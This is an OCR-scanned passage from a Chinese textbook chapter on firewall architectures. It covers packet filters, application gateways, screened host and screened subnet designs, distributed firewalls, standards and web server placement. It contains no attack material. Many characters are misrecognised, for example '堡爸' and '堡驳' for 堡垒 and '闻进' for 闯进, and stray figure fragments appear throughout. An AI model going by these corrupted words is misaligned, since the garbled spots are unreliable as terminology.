型 JP 源 地址 IP 目标 地 址 、IP 选择 域 的 内 容 .TCP 源 端 口号 、TCP 目标 端口 号 和 TCP 
ACK 标识 ,其 中 TCP ACK 标识 指出 这 个 包 是 否 是 连接 中 的 第 一 个 包 ,是否 是 对 另 一 个 包 
的 响应 。 

包 过 滤 的 一 个 重要 的 局 限 是 它 不 能 分 辨 好 的 和 坏 的 用 户 , 只 能 区 分 好 的 数据 包 和 坏 的 
数据 包 。 包 过 滤 只 能 工作 在 有 黑白 分 明 安 全 策略 的 网 中 , 即 内 部 人 是 好 的 ,外 部 人 是 可 
疑 的 。 

不 幸 的 是 , 包 过 滤 不 能 有 效 到 足以 保证 站 点 的 安全 。 站 点 受到 许多 新 的 协议 的 威胁 , 它 
们 能 毫 不 费力 地 通过 那些 过 滤器 。 例 如 ,对 于 FTP 协议 , 包 过 滤 就 不 十 分 有 效 ,因为 为 完成 
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数据 传输 ， FTP 允许 连接 外 部 服务 器 并 使 连接 返回 到 端口 20。 这 甚至 成 为 一 条 规则 附加 
于 路 由 器 之 上 , 即 内 部 网 络 机 器 上 的 端口 20 可 用 于 探查 外 部 情况 。 黑 客 们 很 容易 “欺骗 ”这 
些 路 由 器 。 而 防火 墙 则 使 这 些 “ 欺 骗 ” 变 得 困难 ,并 且 几 乎 不 可 能 实现 。 在 决定 实施 防火 墙 
计划 之 前 , 先 要 决定 使 用 哪 种 类 型 的 防火 墙 及 其 设计 。 


3.2.2 应 用 型 防火 墙 


应 用 型 防火 墙 (application gateway, 又 称 双 宿主 网 关 或 应 用 层 网 关 ) 的 物理 位 置 与 包 过 
滤 路 由 器 一 样 ,但 它 的 逻辑 位 置 在 OSI 7 层 协议 的 应 用 层 上 ,所 以 主要 采用 协议 代理 服务 
(proxy services) ,就 是 在 运行 防火 墙 软件 的 堡垒 主机 (bastion host) 上 运行 代理 服务 程序 
Proxy。 应 用 型 防火 墙 不 允许 网 络 间 的 直接 业务 联系 ,而 是 以 堡 爸 主 机 作为 数据 转发 的 中 
转 站 。 堡 人 主机 是 一 个 具有 两 个 网 络 界面 的 主机 ,每 一 个 网 络 界面 与 它 所 对 应 的 网 络 进行 
通信 。 它 既 能 作为 服务 器 接收 外 来 请 求 , 又 能 作为 客户 机 转发 请 求 。 如 果 认 为 信息 是 安全 
的 ,那么 代理 就 会 将 信息 转发 到 相应 的 主机 上 ,用 户 只 能 够 使 用 代理 服务 器 支持 的 服务 。 在 
业务 进行 时 ,堡垒 主机 监控 全 过 程 并 完成 详细 的 日 志 (log) 和 审计 (audit) ,这 就 大 大 地 提高 
了 网 络 的 安全 性 。 应 用 型 防火 墙 易 于 建立 和 维护 ,造价 较 低 , 比 包 过 滤 路 由 器 更 安全 ,但 缺 
少 透 明 性 。 

应 用 型 防火 墙 控 制 对 应 用 程序 的 访问 , 即 允许 访问 某 些 应 用 程序 而 阻止 访问 其 他 应 用 
程序 。 采 用 的 方法 是 在 应 用 层 网 关上 安装 代理 (proxy) 软 件 ,每 个 代理 模块 分 别针 对 不 同 的 
应 用 。 例 如 ,远程 登录 代理 Telnet Proxy 负责 Telnet 在 防火 墙 上 的 转发 ,文件 传输 代理 
FTP Proxy 负责 FTP 等 。 管 理 员 可 以 根据 需要 安装 相应 的 代理 ,以 控制 对 应 应 用 程序 的 访 
问 。 各 个 代理 模块 相互 无 关 , 即 使 某 个 代理 模块 的 工作 发 生 问题 ,只 需 将 它 拆 外 ,不 会 影响 
其 他 代理 模块 的 正常 工作 ,从 而 保证 了 防火 墙 的 安全 性 。 

管理 员 通 过 配置 访问 控制 表 中 的 规则 ,决定 内 、 外 部 网 络 的 哪些 用 户 可 以 使 用 应 用 层 网 
关中 的 哪个 代理 模块 连接 到 哪个 目的 站 点 。 

实际 上 ,应 用 型 防火 墙 是 运行 服务 器 代理 软件 的 计算 机 ,通常 叫做 “堡垒 主机 (bastion 
host) 。 由 于 它 采 用 了 一 系列 安全 措施 ,因而 能 抵御 各 种 攻击 。 

(1) 应 用 层 网 关 运 行 的 是 一 个 安全 的 操作 系统 ,避免 了 一 般 操作 系统 的 脆弱 性 。 

(2) 除 安装 代理 模块 外 ,还 安装 了 用 户 认证 模块 ,能 对 用 户 的 身份 进行 认证 。 一 般 采 用 
客户 机 /服务 器 方式 ,根据 用 户 所 在 网 络 的 安全 级 别 采 用 不 同 的 认证 方法 。 可 务 掉 一 切 多 余 
的 服务 。 

(3) 应 用 层 网 关 除 安装 代理 模块 外 ,还 维持 自己 的 用 户 库 和 对 象 库 。 用 户 库 保存 了 用 
户 名 、 用 户 的 认证 方式 和 用 户 的 管理 级 别 等 信息 。 对 象 库 则 保存 有 管理 员 定 义 的 主机 名 , 主 
机 组 、 网 络 和 网 关 等 信息 。 

(4) 应 用 网 关 能 记录 通过 它 的 一 些 信息 ,如 什么 样 的 用 户 在 什么 时 间 连 接 了 什么 站 点 。 
这 样 就 为 识别 网 络 间谍 提供 了 有 价值 的 信息 。 

代理 工作 时 ,用 户 首先 与 代理 服务 器 建立 连接 ,然后 将 目的 站 点 告知 代理 ,对 于 合法 的 
请 求 ,代理 以 应 用 层 网 关 的 身份 与 目的 站 建立 连接 ,而 代理 则 在 这 两 个 连接 上 转发 数据 。 

由 以 上 所 述 可 见 , 应 用 层 网 关 防 火 墙 能 针对 各 种 服务 进行 全 面 控 制 ,支持 身份 认证 , 提 
供 详细 的 审计 功能 和 方便 的 日 志 分 析 工 具 , 比 分 组 过 滤 路 由 器 更 容易 配置 和 测试 。 但 是 不 
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透明 ,要求 用 户 改 变 使 用 习惯 。 
3.2.3 主机 屏蔽 防火 墙 


包 过 滤 路 由 器 虽 有 较 好 的 透明 性 ,但 无 法 有 效 地 区 分 同一 IP 地 址 的 不 同 用 户 ;应 用 型 
防火 墙 可 以 提供 详细 的 日 志 及 身份 验证 ,但 又 缺少 透明 性 。 因 此 ,在 实际 应 用 中 ,往往 将 两 
种 防火 墙 技术 结合 起 来 ,以 取长补短 ,主机 屏蔽 防火 墙 (screened host firewall) 就 是 其 中 的 
一 种 。 

主机 屏蔽 防火 墙 是 由 一 个 只 需 单个 网 络 端口 的 应 用 型 防火 墙 和 一 个 包 过 滤 路 由 器 组 
成 。 将 它 物理 地 连接 在 网 络 总 线 上 , 它 的 逻辑 功能 仍 工 作 在 应 用 层 上 ,所 有 业务 通过 它 代 理 
服务 。Intranet 不 能 直接 通过 路 由 器 和 Internet 相 联系 ,数据 包 要 通过 路 由 器 和 堡垒 主机 
两 道 防 线 。 这 个 系统 的 第 一 个 安全 设施 是 过 滤 路 由 器 ,对 到 来 的 数据 包 而 言 ,首先 要 经 过 包 
过 滤 路 由 器 的 过 滤 ,过 滤 后 的 数据 包 被 转发 到 堡垒 主机 上 ,然后 由 堡垒 主机 上 应 用 服务 代理 
对 这 些 数 据 包 进行 分 析 , 将 合法 的 信息 转发 到 Intranet 的 主机 上 。 外 出 的 数据 包 首 先 经 过 
堡垒 主机 上 的 应 用 服务 代理 检查 ,然后 被 转发 到 包 过 滤 路 由 器 ,最 后 由 包 过 滤 路 由 器 转 到 外 
部 网 络 上 。 主 机 屏蔽 防火 墙 设置 了 两 层 安全 保护 ,因此 相对 比较 安全 。 另 外 ,主机 屏蔽 防火 
墙 也 容易 配置 ,但 它 对 路 由 器 的 路 由 表 要 求 较 高 。 


3.2.4 子 网 屏蔽 防火 墙 


子 网 屏蔽 防火 墙 (screened subnet firewall) 的 保护 作用 比 主 机 屏蔽 防火 墙 更 进 了 一 步 ， 
它 在 被 保护 的 Intranet 与 Internet 之 间 加 入 了 一 个 由 两 个 包 过 滤 路 由 器 和 一 台 堡垒 机 组 成 
的 子 网 。 被 保护 的 Intranet 与 Internet 不 能 直接 通信 ,而 是 通过 各 自 的 路 由 器 和 堡垒 机 打 
交道 。 两 台 路 由 器 也 不 能 直接 交换 信息 。 

子 网 屏蔽 防火 墙 是 较为 安全 的 一 种 防火 墙 体系 结构 。 它 具有 主机 屏蔽 防火 墙 的 所 有 优 
点 ,并 且 比 之 更 加 优越 。 它 与 主机 屏蔽 防火 墙 不 同 , 如 果 堡 又 主机 受到 破坏 ,入 侵 者 只 能 访 
问 到 子 网 。 由 于 子 网 和 Intranet 之 间 还 存在 一 个 包 过 滤 路 由 器 ,因此 ,入 侵 者 只 能 有 限 地 访 
问 Intranet。 虽 然 子 网 屏蔽 防火 墙 很 优越 ,但 实现 的 代价 也 高 。 它 不 易 配置 且 增 加 了 堡 驳 
机 转发 数据 的 复杂 性 ,同时 ,网 络 的 访问 速度 也 要 减 慢 ,其 费用 也 明显 高 于 以 上 几 种 防火 墙 。 


3.2.5 分 布 式 防火 墙 


分 布 式 防火 墙 (distributed firewall) 是 近年 来 发 展 起 来 的 一 种 新 型 的 防火 墙 体系 结构 ， 
它 将 传统 的 防火 墙 技术 和 分 布 式 网 络 应 用 进行 了 有 机 结合 ,具有 广泛 的 研究 和 应 用 前 景 。 

前 述 几 种 防火 墙 技术 统称 为 传统 的 防火 墙 技术 ,尽管 依然 是 现代 计算 机 网 络 安全 防范 
的 主要 技术 ,但 是 它 存 在 的 不 足 也 是 显而易见 的 : 

(1) 防 外 不 防 内 。 就 是 只 对 来 自 外 部 网 络 的 通信 进行 检测 ,而 对 受 保护 的 内 部 网 络 ( 或 
网 段 ) 中 的 用 户 通信 不 做 任何 防御 。 防 火 墙 系统 针对 的 是 来 自 系统 外 部 的 攻击 ,一 旦 外 部 入 
侵 者 进入 了 系统 ,他 们 便 不 受 任何 阻拦 。 这 就 使 得 防火 墙 的 应 用 受到 很 大 制约 ,因为 现代 企 
业内 部 网 络 中 的 大 部 分 安全 威胁 还 是 来 自 内 部 网 络 的 。 

(2) 结构 性 限制 。 传 统 的 防火 墙 也 称 为 边界 防火 墙 , 其 工作 机 理 依赖 于 网 络 的 物理 拓 
扑 结构 。 而 现代 企业 越 来 越 多 地 成 为 跨 区 域 的 大 型 企业 ,企业 内 部 网 已 成 为 一 个 逻辑 概念 ， 
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用 传统 的 防火 墙 已 经 不 能 满足 分 布 式 网 络 的 安全 需求 。 

(3) 效率 问题 。 传 统 防火 墙 把 检查 机 制 集中 在 网 络 的 边界 节点 ,所 以 防火 墙 容易 成 为 
网 络 的 瓶颈 ,网 络 应 用 的 日 益 复杂 不 断 加 大 防火 墙 的 处 理 压力 。 

1999 年 ,分 布 式 防火 墙 的 概念 首次 在 美国 AT&T 实验 室 提 出 ,并 得 到 了 迅速 发 展 和 应 
用 。 分 布 式 防火 墙 系统 主要 分 为 以 下 3 部 分 。 

(1) 网 络 防火 墙 。 负 责 内 外 网 络 之 间 不 同安 全 区 域 的 划分 ,承担 着 与 传统 防火 墙 相似 
的 功能 ,但 是 ,增加 了 一 种 用 于 对 内 部 子 网 之 间 的 安全 防护 ,这 样 使 分 布 式 防火 墙 实现 了 对 
内 部 网 络 的 安全 管理 功能 。 

(2) 主机 防火 墙 。 为 了 扩大 防火 墙 的 应 用 范围 ,在 分 布 式 防 火 墙 系统 中 设置 了 主机 防 
火 墙 。 主 机 防火 墙 驻 留 在 主机 中 ,并 根据 相应 的 安全 策略 对 网 络 中 的 服务 器 及 客户 端 计算 
机 进行 安全 保护 。 具 体 分 为 主机 驻 留 和 嵌入 操作 系统 内 核 两 种 方式 。 主 机 驻 留 是 指 防 火 墙 
驻 留 在 主机 的 内 存 中 ,对 主机 进行 实时 的 安全 保护 ,只 负责 对 本 地 主机 进行 安全 保护 ,不信 
赖 除 本 地 主机 外 的 其 他 主机 。 髋 入 操作 系统 内 核 方 式 主要 防范 由 于 操作 系统 自身 存在 的 安 
全 漏洞 而 引起 的 安全 问题 ,直接 接管 网 卡 ,检查 进入 操作 系统 的 所 有 数据 包 。 

(3) 中 心 管理 服务 器 。 是 整个 分 布 式 防火 墙 的 管理 核心 ,负责 安全 策略 的 指定 、 分 发 及 
日 志 收 集 和 分 析 等 工作 。 

分 布 式 防火 墙 不 仅 保留 了 传统 防火 墙 的 优点 ,同时 还 解决 了 传统 防火 墙 在 应 用 中 存在 
的 不 足 。 加 强 了 对 来 自 内 部 网 络 的 攻击 防范 ,克服 了 结构 性 瓶颈 问题 ,有 效 地 解决 了 主机 托 
管 后 , 跨 地 区 网 络 使 用 和 管理 的 不 安全 性 ,支持 虚拟 专用 网 (VPN) 和 移动 计算 等 应 用 。 


3.3 防火墙 的 安全 标准 


在 设计 防火 墙 时 ,除了 安全 策略 以 外 ,还 要 确定 防火 墙 类 型 和 拓扑 结构 。 一 般 来 说 , 防 
火 墙 被 设置 在 可 信赖 的 内 部 网 络 和 不 可 信赖 的 外 部 网 络 之 间 。 防 火 墙 相当 于 一 个 控 流 器 ， 
可 用 来 监视 或 拒绝 应 用 层 的 通信 业务 。 防 火 墙 也 可 以 在 网 络 层 和 传输 层 之 间 运 行 ,在 这 种 
情况 下 ,防火 墙 检 查 进入 和 离 去 的 报 文 分 组 的 IP 和 TCP 头 部 ,根据 预先 设计 的 报 文 分 组 过 
滤 规 则 来 拒绝 或 允许 报 文 分 组 通过 。 

防火 墙 技术 发 展 很 快 ,但 是 现在 标准 尚 不 健全 ,导致 各 大 防火 墙 产 品 供应 商 生 产 的 防火 
墙 产品 兼容 性 差 ,给 不 同 厂商 的 防火 墙 产 品 的 互 连 带 来 了 困难 。 为 了 解决 这 个 问题 ,目前 已 
提出 了 以 下 两 个 标准 : 

(1) RSA 数据 安全 公司 与 一 些 防火 墙 的 生产 厂商 (如 Sun Microsystem 公司 、 
Checkpoint 公司 、TIS 公司 等 ) 以 及 一 些 TCP/IP 协议 开发 商 ( 如 FTP 公司 等 ) 提 出 了 
Secure/ WAN(S/WAN) 标 准 。 它 能 使 在 IP 层 上 由 支持 数据 加 密 技术 的 不 同 厂 家 生产 的 防 
火 墙 和 TCP/IP 协议 具有 互 操作 性 ,从 而 解决 了 建立 虚拟 专用 网 (VPN ) 的 一 个 主要 障碍 ， 
此 标准 包含 以 下 两 个 部 分 。 

。 防火 墙 中 采用 的 信息 加 密 技术 一 致 , 即 加 密 算法 ,安全 协议 一 致 ,使 得 遵循 此 标准 生 

产 的 防火 墙 产 品 能 够 实现 无 颖 互 连 , 但 又 不 失去 加 密 功 能 。 
。 安全 控制 策略 的 规范 性 `. 逻 辑 上 的 正确 合理 性 ,避免 了 由 于 各 大 防火 墙 厂 商 推出 的 
防火 墙 产 品 在 安全 策略 上 的 漏洞 而 对 整个 内 部 保护 网 络 产生 的 危害 。 
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(2) 美国 国家 计算 机 安全 协会 NCSA (national computer security association) 成 立 的 防 
火 墙 开 发 商 (FWPD ,firewall product developer) 联 盟 制定 的 防火 墙 测 试 标 准 。 


3.4 在 网 络 中 配置 防火 墙 


防火 墙 的 配置 是 非常 重要 的 。 必 须 保 证 网 络 支持 的 协议 能 够 通过 防火 墙 ,尤其 是 使 得 
使 用 TCP 协议 53 端口 的 域名 系统 协议 (domain name system protocol) 能 够 通过 防火 墙 。 
否则 ,组织 内 部 的 机 器 就 不 能 解析 防火 墙 外 的 机 器 的 名 字 。 同 样 地 ,如 果 想 让 防火 墙 内 外 的 
机 器 能 够 通信 的 话 ,也 得 保证 防火 墙 外 的 机 器 能 够 访问 相应 的 DNS 服务 器 ,这 样 它们 才能 
解析 防火 墙 内 的 主机 地 址 。 

实现 防火 墙 一 个 通常 的 办 法 是 拒绝 绝 大 部 分 的 从 防火 墙 外 发 起 到 防火 墙 内 的 机 器 的 连 
接 。 当 然 特定 的 机 器 除外 ,这 种 机 器 是 被 严格 保证 安全 的 。 

必须 严格 限制 从 防火 墙 内 发 起 到 防火 墙 外 的 连接 ,必须 对 这 种 连接 特别 小 心 。 必 须 明 
白 谁 会 对 网 络 构成 威胁 ,以 及 什么 会 对 你 构成 威胁 。 禁 止 从 内 部 发 起 的 连接 即 意味 着 内 部 
网 连接 到 的 主机 可 能 就 是 潜在 的 威胁 。 当 然 如 果 防 火 墙 允许 任何 协议 通过 的 话 , 一 个 恶意 
的 内 部 人 员 很 容易 攻破 防火 墙 。 

防火 墙 作为 网 络 安全 的 一 种 防护 手段 ,有 多 种 实现 方式 。 建 立 合理 的 防护 系统 ,配置 有 
效 的 防火 墙 应 遵循 如 下 4 个 基本 步骤 : 

(1) 风险 分 析 。 

(2) 需求 分 析 。 

(3) 确立 安全 政策 。 

(4) 选择 准确 的 防护 手段 ,并 使 之 与 安全 政策 保持 一 致 。 


3.4.1 包 过 滤 路 由 器 的 配置 与 实现 


包 ( 分 组 ) 过 滤 路 由 器 是 最 简单 也 是 最 常见 的 防火 墙 , 它 位 于 内 部 网 络 和 外 部 网 络 之 间 ， 
除 具 有 路 由 功能 外 ,还 可 以 再 装 上 分 组 过 滤 软 件 ,利用 分 组 过 滤 规则 完成 基本 的 防火 墙 
功能 。 

这 种 配置 的 优点 如 下 : 

(1) 容易 实现 ,费用 少 , 如 果 被 保护 网 络 与 外 界 之 间 已 经 有 一 个 独立 的 路 由 器 ,那么 只 
需 简单 地 加 一 个 分 组 过 滤 软 件 便 可 保护 整个 网 络 。 

(2) 分 组 过 滤 在 网 络 层 实 现 , 不 要 求 改 动 应 用 程序 ,也 不 要 求 用 户 学 习 任何 新 的 东西 ， 
用 户 感觉 不 到 过 滤 服 务 器 的 存在 ,因而 使 用 方便 。 

其 缺点 是 

(1) 没有 或 有 很 少 的 志 记 录 能 力 ,因此 网 络 管理 员 很 难 确定 系统 是 否 正在 被 入 侵 或 
已 经 被 和 人 侵 了 

(2) 规则 表 随 着 应 用 的 深 深化 会 很 快 变 得 很 大 而 且 复 杂 , 这 样 不 仅 规则 难以 测试 ,而 且 规 
则 结构 出 现 漏洞 的 可 能 性 也 会 增加 。 

(3) 这 种 防火 墙 的 最 大 弱点 是 依靠 一 个 单一 的 部 件 来 保护 系统 ,一旦 部 件 出 现 问题 ,会 
使 网 络 的 大 门 敞 开 ,而 用 户 可 能 还 不 知道 。 


。 85 。 


当前 ,几乎 所 有 的 分 组 过 滤 装 置 ( 筛 选 路 由 器 或 分 组 过 滤 网 关 ) 都 按 如 下 方式 操作 。 

(1) 对 于 分 组 过 滤 装 置 的 有 关 端 口 必须 设置 分 组 过 滤 准 则 ,也 称 为 分 组 过 滤 规 则 。 

(2) 当 一 个 分 组 到 达 过 滤 端 口 时 ,将 对 该 分 组 的 头 部 进行 分 析 。 大 多 数 分 组 过 滤 装 置 
只 检查 IP,TCP 或 UDP 头 部 内 的 字段 。 

(3) 分 组 过 滤 规 则 按 一 定 的 顺序 存储 。 当 一 个 分 组 到 达 时 ,将 按 分 组 规则 的 存储 顺序 
依次 运用 每 条 规则 对 分 组 进行 检查 。 

(4) 如 果 一 条 规则 阻塞 传递 或 接收 一 个 分 组 , 则 不 允许 该 分 组 通过 。 

(5) 如 果 一 条 规则 允许 传递 或 接收 一 个 分 组 , 则 允许 该 分 组 通过 。 

(6) 如 果 一 个 分 组 不 满足 任何 规则 , 则 该 分 组 被 阻塞 。 

从 规则 (4) 和 规则 (5) ,可 以 看 到 将 规则 按 适 当 的 顺序 排列 是 非常 重要 的 。 在 配置 分 组 
过 滤 规 则 时 一 个 常 犯 的 错误 就 是 将 分 组 过 滤 规 则 按 错误 的 顺序 排列 。 如 果 一 个 分 组 过 滤 规 
则 排序 有 错 , 就 有 可 能 拒绝 进行 某 些 合法 的 访问 ,而 又 允许 访问 本 想 拒 绝 的 服务 。 规 则 (6) 
遵循 以 下 原则 : 未 被 明确 允许 的 就 将 被 禁止 。 

这 是 一 个 在 设计 安全 可 靠 的 网 络 时 应 该 遵循 的 失效 安全 原则 ;与 之 相对 的 是 一 种 宽容 
的 原则 , 即 : 没有 被 明确 禁止 的 就 是 允许 的 。 

如 果 采 用 后 一 种 思想 来 设计 分 组 过 滤 规 则 ,就 必须 仔细 考虑 分 组 过 滤 规 则 没有 包括 的 
每 一 种 可 能 的 情况 来 确保 网 络 的 安全 。 当 一 个 新 的 服务 被 加 入 到 网 络 中 时 ,可 以 很 容易 地 
遇 到 没有 规则 与 之 相 匹 配 的 情况 。 在 这 种 情况 下 ,不 是 先 阻 塞 该 服务 ,从 而 听取 用 户 因为 合 
法 的 服务 被 阻塞 而 抱怨 ,然后 再 允许 该 服务 ,而 是 可 以 以 网 络 安 全 风险 为 代价 来 允许 用 户 自 
由 地 访问 该 服务 ,直到 制定 了 相应 的 安全 规则 为 止 。 


3.4.2 应 用 型 防火 墙 的 配置 与 实现 


应 用 型 防火 墙 又 称 双 宿主 网 关 ,使 用 双 宿 主 主机 实现 。 双 宿主 网 关 仅 用 一 个 代理 服务 
器 ,代理 服务 器 就 是 安装 于 双 宿 主 主 机 的 代理 服务 器 软件 。 双 宿主 主机 是 一 台 有 两 块 接口 
必 CNIC) 的 计算 机 ,每 一 块 接口 卡 有 一 个 IP 地 址 ,如 图 3-3 所 示 。 如 果 Internet 上 的 一 台 计 
算 机 想 与 Intranet 上 的 一 个 工作 站 通信 , 它 必 须 与 双 宿 主 主机 上 能 “看 到 ”的 IP 地 址 联系 ， 
代理 服务 器 软件 通过 另 一 块 网 卡 (NIC) 启 动 到 对 方 网 络 的 连接 。 应 该 指出 的 是 ,在 建立 双 宿 
主 主机 时 ,应 该 关闭 操作 系统 的 路 由 功能 ,否则 从 一 块 网 卡 (NIC) 到 另 一 块 网 卡 的 通信 会 绕 过 
代理 服务 器 软件 ,而 使 双 宿 主 网 关 失 去 "防火 ”作用 。Smart Wall 网 关 就 是 一 个 双 宿 主 主机 。 
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图 3-3 应 用 型 防火 墙 的 配置 
六 所 本 


双 窒 主 网 关 的 优点 : 

(1) 网 关 将 受 保护 网 络 与 外 界 完全 隔离 。 

(2) 代理 服务 器 提供 日 志 , 有 助 于 发 现 人 侵 。 

(3) 由 于 它 本 身 是 一 台 主 机 ,可 以 用 于 诸如 身份 验证 服务 器 及 代理 服务 器 ,使 其 具有 多 
种 功能 。 

(4) 由 于 域名 系统 (DNS) 的 信息 不 会 通过 受 保护 系统 传 到 外 界 , 所 以 站 点 系统 的 名 字 
和 IP 地 址 对 Internet 是 隐蔽 的 。 

双 宿 主 网 关 的 不 足 之 处 : 

(1) 每 项 服务 必须 使 用 专门 设计 的 代理 服务 器 ,即使 较 新 的 代理 服务 器 (如 Alta Vista 
Firewall) 虽 然 能 处 理 几 种 服务 ,也 不 能 同时 服务 。 

(2) 如 果 防 火 墙 只 采用 双 宿 主 网 关 一 个 部 件 , 一 旦 该 部 件 出 问题 ,将 使 网 络 安全 受到 和 危 
害 。 如 果 重 新 安装 操作 系统 而 忘记 关 掉 路 由 器 ,将 失去 安全 性 。 


3.4.3 主机 屏蔽 防火 墙 的 配置 与 实现 


主机 屏蔽 防火 墙 由 分 组 过 滤 路 由 器 和 应 用 网 关 组 成 。 它 在 内 部 网 络 和 外 部 网 络 之 间 建 
立 了 两 道 安全 屏障 , 既 实 现 了 网 络 层 安全 ( 包 过 滤 ), 又 实现 了 应 用 层 安 全 (代理 服务 )。 来 自 
Internet 的 所 有 通信 都 直接 到 过 滤 路 由 器 , 它 根据 所 设置 的 规则 过 滤 这 些 通信 。 在 多 数 情 
况 下 与 应 用 层 网 关 之 外 机 器 的 通信 都 将 被 拒绝 。 网 关 的 代理 服务 器 软件 用 自己 的 规则 ,将 
被 允许 的 通信 传送 到 受 保护 的 网 络 上 。 在 这 种 情况 下 ,应 用 层 网 关 只 有 一 块 网 络 接口 卡 , 因 
此 它 不 是 双 宿 主 网 关 , 如 图 3-4 所 示 。 
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图 3-4 主机 屏蔽 防火 墙 的 配置 


主机 屏蔽 防火 墙 比 双 宿主 机 防火 墙 更 灵活 , 它 可 以 设置 成 使 过 滤 路 由 器 将 某 些 通信 和 直 
接 传 到 Intranet 的 站 点 ,而 不 是 到 应 用 层 网 关 。 而 且 包 过 滤 路 由 器 的 规则 比 网 络 过 滤 简 单 ， 
这 是 因为 多 数 或 所 有 通信 将 直接 到 应 用 层 网 关 。 此 外 , 它 具 有 双重 保护 ,安全 性 更 高 。 但 
是 ,要 求 对 两 个 部 件 认 真 配置 以 便 能 协同 工作 ,例如 ,将 路 由 器 设置 成 使 所 有 通信 路 由 到 代 
理 服务 器 。 即 使 包 过 滤 规 则 较 简单 ,配置 防火 墙 的 工作 也 会 很 复杂 。 另 外 ,系统 的 灵活 性 会 
导致 走 捷径 而 破坏 安全 。 例 如 ,用 户 可 能 试图 避 开 代理 服务 器 直接 与 路 由 器 建立 联系 。 


3.4.4 子 网 屏蔽 防火 墙 的 配置 与 实现 


子 网 屏蔽 防火 墙 是 在 主机 屏蔽 防火 墙 配置 上 再 加 一 个 路 由 器 ,形成 一 个 称 为 非 军 事 区 

的 子 网 ,这 个 子 网 还 可 能 被 用 于 信息 服务 器 和 其 他 要 求 严 格 控制 的 系统 ,从 而 形成 三 道 防 

线 , 如 图 3-5 所 示 。 外 部 过 滤 路 由 器 和 应 用 层 网 关 与 在 主机 屏蔽 防火 墙 中 的 功能 相同 。 内 
Cy 


部 过 滤 路 由 器 在 应 用 层 网 关 与 受 保护 网 络 之 间 提 供 附加 保护 ,万 一 入 侵 者 通过 了 外 部 路 由 
器 和 应 用 网 关 , 内 部 路 由 器 还 可 起 到 最 后 一 级 防御 。 因 此 ,一 个 人 侵 者 要 进入 受 子 网 屏蔽 防 
火 墙 保护 的 网 络 比 主机 过 滤 防 火 墙 更 加 困难 。 但 是 , 它 要 求 的 设备 和 软件 模块 最 多 ,其 配置 
最 贵 且 相当 复杂 。 
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图 3-5 子 网 屏蔽 防火 墙 的 配置 


3.4.5 分 布 式 防火 墙 的 配置 与 实现 
分 布 式 防火 墙 的 基本 工作 模式 是 : 首先 由 制定 防火 墙 接 入 控制 的 策略 中 心 ,通过 编译 
器 将 策略 语言 的 描述 转换 成 内 部 格式 ,形成 策略 文件 ,然后 策略 中 心 采 用 系统 管理 工具 把 策 
略 文件 分 发 给 各 台 “ 内 部 ”主机 ,内 部 ”主机 将 从 IP 安全 协议 和 策略 文件 两 个 方面 来 判断 是 
否 接受 收 到 的 数据 包 。 其 工作 原理 如 图 3-6 所 示 。 
中 心 策略 服务 器 安装 主机 防火 墙 
的 服务 器 


b 安装 主 防 火 寺 
网 络 防火 墙 : 

安装 主 防火 墙 安装 主 防火 墙 NN 安装 主 防火 墙 
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图 3-6 分 布 式 防火 墙 的 配置 


分 布 式 防 火 墙 产品 ,通常 采用 “软件 十 硬件 ”和 “ 纯 软 件 ” 两 种 形式 ,采用 “软件 十 硬件 ”的 
防火 墙 ,一 般 网 络 防火 墙 使 用 硬件 形式 ,而 主机 防火 墙 采用 软件 形式 。 例 如 ,3Com 公司 的 
角 入 式 防火 墙 就 是 一 种 基于 “软件 十 硬件 ”的 分 布 式 防火 墙 。 其 主机 防火 墙 被 通 入 到 网 卡 
中 ,通过 中 心 管理 服务 器 来 实现 集中 管理 。 


3.4.6 防火 墙 与 Web 服务 器 之 间 的 配置 策略 


防火 墙 将 极 大 地 增强 内 部 网 和 Web 站 点 的 安全 。 根 据 不 同 的 需要 ,防火 墙 在 网 中 的 配 
置 有 很 多 方式 。 根 据 防火 墙 和 Web 服务 器 所 处 的 位 置 ,总 的 可 以 分 为 3 种 配置 : Web 服务 
器 置 于 防火 墙 之 内 、Web 服务 器 置 于 防火 墙 之 外 和 Web 服务 器 置 于 防火 墙 之 上 。 
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1. Web 服务 器 置 于 防火 墙 之 内 
图 3-7 是 防火 墙 作 用 的 图 示 。 此 模式 中 ,Web 服务 器 置 于 防火 墙 之 内 。 
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Intranet ~ ~ | 一 防火 墙 Internet 


图 3-7 Web 服务 器 置 于 防火 墙 之 内 


将 Web 服务 器 装 在 防火 墙 内 的 好 处 是 它 得 到 了 安全 保护 ,不 容易 被 黑客 问 入 ,但 不 易 
被 外 界 所 用 。 当 Web 站 点 主要 用 于 宣传 企业 形象 时 ,显然 这 不 是 好 的 配置 ,这 时 应 当 将 
Web 服务 器 放 在 防火 墙 之 外 。 

2. Web 服务 器 置 于 防火 墙 之 外 

图 3-8 是 Web 服务 器 置 于 防火 墙 之 外 的 配置 的 图 示 。 
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图 3-8 Web 服务 器 置 于 防火 墙 之 外 


事实 上 ,为 保证 组 织 内 部 网 络 的 安全 ,将 Web 服务 器 完全 置 于 防火 墙 之 外 是 比较 合适 
的 。 在 这 种 模式 中 , Web 服务 器 不 受 保护 ,但 内 部 网 则 处 于 保护 之 下 ,即使 黑客 闻 进 了 受 保 
护 的 Web 站 点 ,内 部 网 络 仍 是 安全 的 。 代 理 支持 在 此 十 分 重要 ,特别 是 在 这 种 配置 中 ,防火 
墙 对 Web 站 点 的 保护 几乎 不 起 作用 。 

3. Web 服务 器 置 于 防火 墙 之 上 

一 些 管理 者 试图 在 防火 墙 机 器 上 运行 Web 服务 器 ,以 此 增强 Web 站 点 的 安全 性 。 这 
种 配置 的 缺点 是 ,一 旦 服务 器 有 一 点 毛病 ,整个 组 织 和 Web 站 点 就 全 部 处 于 危险 之 中 。 
图 3-9 是 此 种 配置 的 图 示 。 

这 种 基本 配置 有 多 种 变化 ,包括 利用 代理 服务 器 、 双 重 防火 墙 ,利用 成 对 的 “入 ”“ 出 ” 服 
务 器 提供 对 公众 信息 的 访问 及 内 部 网 络 对 私人 文档 的 访问 。 

一 些 防火 墙 的 结构 不 允许 将 Web 服务 器 设置 其 外 。 在 这 种 情况 下 将 不 得 不 打通 防火 

墙 ,具体 可 以 这 样 做 : 

(1) 允许 防火 墙 传递 对 端口 80 的 请 求 ,访问 请 求 或 被 限制 到 Web 站 点 或 从 Web 站 点 

返回 (假定 你 正 使 用 屏蔽 主机 型 防火 墙 ) 。 
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图 3-9 Web 服务 器 置 于 防火 墙 之 上 


(2) 可 在 防火 墙 机 器 上 安装 代理 服务 器 ,但 需要 一 个 “ 双 窒 主 网 关 ” 类 型 的 防火 墙 。 来 
